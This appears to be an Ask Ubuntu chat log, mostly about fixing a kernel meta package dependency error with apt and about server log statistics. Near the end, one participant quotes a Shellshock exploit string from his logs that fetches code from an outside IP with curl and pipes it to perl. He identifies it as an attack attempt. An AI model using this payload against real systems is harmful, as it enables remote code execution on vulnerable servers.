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terdon

5:00 PM

So, it might be possible to fix this by manually installing the correct versions. Hang on, let me check something.

Mateo

Spam, everyone battle stations!!

well, that second one went quick

That Brazilian Guy

@terdon Thanks

terdon

@ThatBrazilianGuy what does apt-cache madison linux-headers-generic linux-image-generic return?

apt-cache madison linux-headers-generic linux-image-generic

That Brazilian Guy

> linux-headers-generic | 3.2.0.70.84 | http://us.archive.ubuntu.com/ubuntu/ precise-updates/main amd64 Packages
linux-headers-generic | 3.2.0.70.84 | http://security.ubuntu.com/ubuntu/ precise-security/main amd64 Packages
linux-headers-generic | 3.2.0.23.25 | http://us.archive.ubuntu.com/ubuntu/ precise/main amd64 Packages
linux-meta | 3.2.0.23.25 | http://us.archive.ubuntu.com/ubuntu/ precise/main Sources
linux-meta | 3.2.0.70.84 | http://us.archive.ubuntu.com/ubuntu/ precise-updates/main Sources

terdon

Sorry, wrong command, should have been this one:

apt-cache madison "linux-headers*" "linux-image*"

:18733330 Lol :) That won't work actually by the way. rm won't let you.

My plan is to manually install the right versions and then uninstall the meta packages (which shouldn't remove anything but the package itself) and then proceed to upgrade. That should work.

Actually. You should be able to just uninstall the meta packages directly and then upgrade.

That Brazilian Guy

5:09 PM

@terdon The output is so huge it fills the terminal buffer. Hang on let me pastebin that

terdon

@ThatBrazilianGuy No, wait a sec.

I'm testing on my VM just in case it breaks anything but you probably just need this:

That Brazilian Guy

@terdon Wouldn't that prevent me from receiving the correct updates in the future, because I just manually forced some version?

terdon

sudo apt-get remove linux-headers-generic linux-image-generic; sudo apt-get update && sudo apt-get dist-upgrade`

@ThatBrazilianGuy I am guessing that the dist-upgrade will bring them back but you can always just install the meta packages once manually after upgrading.

That Brazilian Guy

@terdon You made a typo ;)

terdon

So I did :)

That Brazilian Guy

5:12 PM

Have you tested it on your VM Is it safe? :P

terdon

@ThatBrazilianGuy Yes, I ran sudo apt-get remove linux-headers-generic linux-image-generic and then rebooted. All's well.

That Brazilian Guy

OK, here I go crossing fingers

terdon

That command shouldn't uninstall anything. Just the meta package.

That Brazilian Guy

> $ sudo apt-get remove linux-headers-generic linux-image-generic
Reading package lists... Done
Building dependency tree
Reading state information... Done
You might want to run 'apt-get -f install' to correct these:
The following packages have unmet dependencies:
linux-generic : Depends: linux-image-generic (= 3.2.0.58.69) but it is not going to be installed
Depends: linux-headers-generic (= 3.2.0.58.69) but it is not going to be installed
E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).

should I remove linux-generic as well?

terdon

@ThatBrazilianGuy I guess so, yes. These should all then be re-installable as the newer versions.

hbdgaf

5:18 PM

@Mateo qt is a library not a language. C++ is the language, although it reads as a format specifier for a json interpreter is malformed somewhere in you project.

terdon

@Mateo @hbdgaf and other lurkers, can we take your silence as an indication that I'm not telling TBG to shoot himself in the foot?

hbdgaf

removing meta packages USED to remove their children, but doesn't do that any more iirc. just remember not to apt-get autoclean or anything

terdon

:)

That Brazilian Guy

@terdon It worked! \o/

Thanks a lot! :D

I had to manually reisntall the packages, but looks like all is well now

terdon

Ah, cool :)

@ThatBrazilianGuy Yes, that's normal. So you can upgrade?

That Brazilian Guy

5:23 PM

@terdon As in from 12.04 to 14.10? Not sure. Actually I have never performed a distro version upgrade on any workstation I ever used, I have always installed from scratch. Besides, this is just a headless SMB file server :P

hbdgaf

TBG you know Wendell? He was a kind of neat guy when I talked to him. I know I'm reducing a country to do you know that guy, but...

terdon

@ThatBrazilianGuy I mean, is the dis-upgrade command continuing instead of erroring out. Did that solve the underlying issue?

That Brazilian Guy

Oh yeah, it did! :D

autoremove as well, it autoremoved the older unused versions

hbdgaf

>.> evidently, I just dated myself.

terdon

@ThatBrazilianGuy Cool :)

Rinzwind

6:02 PM

spam askubuntu.com/questions/552632/…

Mateo

7:04 PM

@terdon huh, I went for lunch

terdon

@Mateo No worries. Turns out I knew what I was talking about after all.

hbdgaf

7:23 PM

-.- we knew that.

Rinzwind

weird question: askubuntu.com/questions/552654/…

hbdgaf

My answer: "There's no magic switch to flip to make it bigger. end of answer. Congratulations on a handy conspiracy theory."

terdon

What makes you think it was "the same drive"? Just because they look identical on the outside does not mean they are. — terdon 13 secs ago

Rinzwind

as if a manufacturer would put a 128Gb flash in a pendrive and sell it as a 16Gb.

hbdgaf

atheros did it with wireless devices, but that's different than storage devices.

Ubuntu Questions on U&L

7:51 PM

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Q: Ubuntu runuser command?

I am creating a bash script that requires to run commands as a specific user. As a result I am using the command: runuser I have tested this script and it works perfectly in Ubuntu Server 14.10. However, when testing it on 14.04 and 12 I run into the following error: runuser: command not foun...

Nathan Osman

8:30 PM

o/

Mateo

hi

Seth

\o

Mateo

so, I fixed the json error, now i have a uri error

ScopeBase::run(): unity::InvalidArgumentException: Result::set_uri(): Invalid empty uri string

Nathan Osman

goaccess is pretty slick.

It parsed close to 1M requests in around 10 seconds.

...on a server with 512MB of RAM.

Mateo

8:47 PM

@NathanOsman wow

that is a lot

Nathan Osman

Lots of interesting stats. fontawesome.woff (a webfont we use for icons) has eaten up nearly 3GB of bandwidth - it was requested 38,939 times.

Mateo

@NathanOsman see what you have done, I'm reading barbie...

Here, Steve, go play with this shiny disc. #FeministHackerBarbie http://t.co/KjcIr5Aoj6

Tweeted by McAndrew on November 22, 2014 at 3:38 PM

Nathan Osman

I'm starting to have second thoughts about the whole thing now. The pendulum has started to swing too far in the other direction, I think.

Mateo

yeah...

Nathan Osman

Now the rewritten dialog is very condescending to men.

It's the same problem the book originally had :P

Mateo

9:02 PM

@Rinzwind well, there were those triple core processors that basically were 4 core ones with a failed core...

Nathan Osman

Why did 8,460 Windows XP users visit our blog? :P

Seth

Is that a good thing or a bad thing? :P

Mateo

bad that they are using xp

Seth

Wow gettext looks really complicated.

Nathan Osman

Whoa...

() { :; }; curl 202.143.160.141/lib21/index.cgi | perl

That's a strange referer :P

Mateo

9:11 PM

someone download the site form curl?

Nathan Osman

Someone trying to exploit Bash, most likely.

(The #ShellShock thing.)

Mateo

ah, yeah, that is the first part

Nathan Osman

Let's see what they tried to run...

Nope, it's a 404 now.

Mateo

so they tried to get your site to run curl

Nathan Osman

And then feed the output into the Perl interpreter.

Of course, they didn't. We don't run any scripts via CGI.

Cool, goaccess supports the -f flag, to display stats live.

^--- that's from the last week or so.

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